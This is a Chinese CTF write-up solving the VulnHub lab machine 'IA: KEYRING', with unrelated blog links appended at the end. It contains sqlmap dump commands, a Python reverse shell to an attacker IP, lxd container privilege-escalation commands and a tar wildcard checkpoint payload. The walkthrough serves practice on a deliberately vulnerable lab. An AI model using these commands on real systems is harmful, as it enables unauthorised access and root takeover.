准备:

攻击机:虚拟机kali、本机win10。

靶机:IA: KEYRING (1.0.1),下载地址:https://download.vulnhub.com/ia/keyring-v1.01.ova,下载后直接vbox打开即可。

知识点:lxd提权、tar通配符提权、命令执行、sql注入、ida逆向、源码分析、gobuster目录扫描。

端口扫描:

通过nmap扫描下网段内的存活主机地址,确定下靶机的地址:nmap -sn 172.18.8.0/24,获得靶机地址:172.18.8.191。

扫描下端口对应的服务:nmap -T4 -sV -p- -A 172.18.8.191,显示开放了22、80端口,开启了ssh服务和http服务。

web信息收集:

访问:http://172.18.8.191/是一个登录注册页面,进行账号信息注册然后进行登录,但是注册admin时显示该账户已存在,那我们就注册一个别的账户:upfine/upfine,然后进行登录。

登录时输入账号和密码信息一直不会跳转登录,查看页面源码信息,在其源码信息中发现登录页面:login.php,访问:http://172.18.8.191/login.php页面使用账户:upfine/upfine进行登录。

成功登陆后发现给与我们的提示信息,简单的告诉了我们什么是参数污染,但是在这几个界面中未发现参数的传递。

目录扫描:

使用gobuster进行目录扫描,发现about.php、index.php、history.php等页面,其中history.php页面是新多出来的页面。

打开该页面是一个空白页面,但是当退出之后在访问该页面会告诉我们不能找到某个用户的活动,因此猜测我们需要传入用户名参数user。

当我们传输user参数时:http://172.18.8.191/history.php?user=upfine,这时候又需要我们登录账户才可以,想到注册时告诉我们admin账户已存在,那我们也查看下admin账户信息,给我们返回了一个代码仓库地址:https://github.com/cyberbot75/keyring。

源码分析:

通过该地址下载下来页面源码信息,在control.php源码中发现了数据库的账户和密码信息:root/sqluserrootpassw0r4,数据库:users,以及不安全的函数system()。测试该函数是否可以进行命令执行,命令:http://172.18.8.191/control.php?cmdcntr=id,但是未回显任何信息,猜测是账户权限问题。

SQL注入:

在此页面:http://172.18.8.191/history.php?user=upfine,进行了简单的注入测试,发现存在注入点。

那就使用sqlmap获取下表名、列明和具体的数据信息,数据库名称在源码文件中已知:users。sqlmap命令如下,最终发现了两组账户和密码:admin/myadmin#p4szw0r4d、john/Sup3r$S3cr3t$PasSW0RD。

获取表名
sqlmap -u http://172.18.8.191/history.php?user=admin --cookie='PHPSESSID=jno08545neep7psrg6phni549c' --batch -D users --tables
获取表的数据
sqlmap -u http://172.18.8.191/history.php?user=admin --cookie='PHPSESSID=jno08545neep7psrg6phni549c' --batch -D users -T details --dump

获取shell:

使用我们获得的账户信息:admin/myadmin#p4szw0r4d进行登录,然后测试命令执行,此时命令执行成功。

利用命令执行函数直接反弹shell,命令如下:http://172.18.8.191/control.php?cmdcntr=python3%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22172.18.8.120%22,6688));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import%20pty;%20pty.spawn(%22sh%22)%27,在kali中开启对6688端口的监听,成功获得shell权限。

其余几种方式经测试无法反弹shell,可以在这个网站找各语言的反弹shell语句进行测试:https://www.revshells.com/
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.18.8.120",6688));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'

提权方式一-lxd提权:

在/home目录下发现john账户,加上我们之前发现的账户信息:john/Sup3r$S3cr3t$PasSW0RD,那我们就可以直接切换到john账户,成功切换到john账户后发现john账户具有lxd权限。

切换john账户后,在john目录下发现user.txt文件,读取该文件成功获取到第一个flag值。

首先在这个网站:https://github.com/saghul/lxd-alpine-builder.git下载tar.gz文件并上传到靶机,命令:wget http://172.18.8.120:8000/alpine-v3.13-x86_64.tar.gz。然后在依次执行如下命令,即可成功获得root权限,获得root权限后进入root目录:cd /mnt/root/root,发现root.txt文件并读取flag值。这里获取root权限后出现了一点乱码,但是整体不影响,之前遇到过三次了,所以这里就这样。

lxc image import ./alpine-v3.13-x86_64.tar.gz --alias myimage
lxd init #基本默认配置,进行回车就行
lxc init myimage ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh

提权方式二-tar通配符提权:

将在/john目录下发现的compress文件下载下来。

在本地使用ida进行逆向分析,生成伪c代码,发现使用root权限执行了:/bin/tar cf archive.tar *,这里存在一个tar的通配符提权漏洞。

tar的通配符提权漏洞原理:当执行tar 命令时,通配符* 会自动被替换成参数。下面的话就是替换成我们的upfine.sh脚本,利用的payload如下,依次执行下面命令成功获得root权限,并在/root目录下发现root.txt文件,读取该文件成功获取到flag值。

echo "/bin/bash" > upfine.sh
echo "" > "--checkpoint-action=exec=sh upfine.sh"
echo "" > --checkpoint=1
./compress

vulnhub靶场之IA: KEYRING (1.0.1)的更多相关文章

  1. Vulnhub靶场渗透练习(一) Breach1.0

    打开靶场 固定ip需要更改虚拟机为仅主机模式 192.168.110.140 打开网页http://192.168.110.140/index.html 查看源代码发现可以加密字符串 猜测base64 ...

  2. Vulnhub靶场题解

    Vulnhub简介 Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行 ...

  3. VulnHub靶场学习_HA: ARMOUR

    HA: ARMOUR Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-armour,370/ 背景: Klaw从“复仇者联盟”超级秘密基地偷走了一些盔甲 ...

  4. VulnHub靶场学习_HA: InfinityStones

    HA-InfinityStones Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-infinity-stones,366/ 背景: 灭霸认为,如果他杀 ...

  5. VulnHub靶场学习_HA: Chanakya

    HA-Chanakya Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chanakya,395/ 背景: 摧毁王国的策划者又回来了,这次他创造了一个难 ...

  6. VulnHub靶场学习_HA: Chakravyuh

    HA: Chakravyuh Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chakravyuh,388/ 背景: Close your eyes a ...

  7. VulnHub靶场学习_HA:Forensics

    HA:Forensics Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-forensics,570/ 背景: HA: Forensics is an ...

  8. Vulnhub靶场——DC-1

    记一次Vulnhub靶场练习记录 靶机DC-1下载地址: 官方地址 https://download.vulnhub.com/dc/DC-1.zip 该靶场共有5个flag,下面我们一个一个寻找 打开 ...

  9. vulnhub靶场之DRIPPING BLUES: 1

    准备: 攻击机:虚拟机kali.本机win10. 靶机:DRIPPING BLUES: 1,网段地址我这里设置的桥接,所以与本机电脑在同一网段,下载地址:https://download.vulnhu ...

  10. VulnHub靶场学习_HA: Avengers Arsenal

    HA: Avengers Arsenal Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-avengers-arsenal,369/ 背景: 复仇者联盟 ...

随机推荐

  1. Bug改不完,迭代总延期,咋办?

    摘要:本文从流程上需要改进的地方进行讨论,分四个方面来分析产生这个问题的原因. 本文分享自华为云社区<Bug改不完,迭代总延期,咋办?>,作者: 华为云PaaS服务小智. 前言 随着互联网 ...

  2. 小程序返回上一级页面背景音乐报错 setBackgroundAudioState:fail title is nil!;

    小程序初始化在onLoad的时候加载了一次背景音乐. 如果此时报错是title必传.如果没有 会报错一次 setBackgroundAudioState:fail title is nil!; 这个都 ...

  3. java中实现File文件的重命名(renameTo)、将文件移动到其他目录下、文件的复制(copy)、目录和文件的组合(更加灵活方便)

    欢迎加入刚建立的社区:http://t.csdn.cn/Q52km 加入社区的好处: 1.专栏更加明确.便于学习 2.覆盖的知识点更多.便于发散学习 3.大家共同学习进步 3.不定时的发现金红包(不多 ...

  4. numpy(ndarray)和tensor(GPU上的numpy)速查

    类型(Types) Numpy PyTorch np.ndarray torch.Tensor np.float32 torch.float32; torch.float np.float64 tor ...

  5. 京东云开发者|mysql基于binlake同步ES积压解决方案

    1 背景与目标 1.1 背景 国际财务泰国每月月初账单任务生成,或者重算账单数据,数据同步方案为mysql通过binlake同步ES数据,在同步过程中发现计费事件表,计费结果表均有延迟,ES数据与My ...

  6. nginx性能监控

    nginx自带监控模块,需要在nginx编译安装时加入监控模块. 1. 编译安装时加入监控模块 ngin编译安装时,加入编译参数为:--with-http_stub_status_module.如下所 ...

  7. java学习之注解

    0x00前言 1.注解是什么: (1)可以叫做注释类型,注解是一种引用数据类型,编译后也是生成class文件 (2)提供信息给编译器: 编译器可以利用注解来探测错误和警告信息 比如 @Override ...

  8. C#结构体大小问题

    using System; using System.Collections.Generic; using System.Linq; using System.Runtime.InteropServi ...

  9. Kubernetes集群管理工具kubectl

    Kubernetes集群管理工具kubectl 概述 kubectl是Kubernetes集群的命令行工具,通过kubectl能够对集群本身进行管理,并能够在集群上进行容器化应用的安装和部署 命令格式 ...

  10. 833(DIV2)——C题题解

    题目链接 题目大意: 给定n个数,你可以对数值为0的数改变其为任意值,问最后前缀和为0的个数的最大值. 思路: 这题比较可惜,自己的思路没有问题,但是他少了一些东西.对数组进行前缀和处理,我们可以发现 ...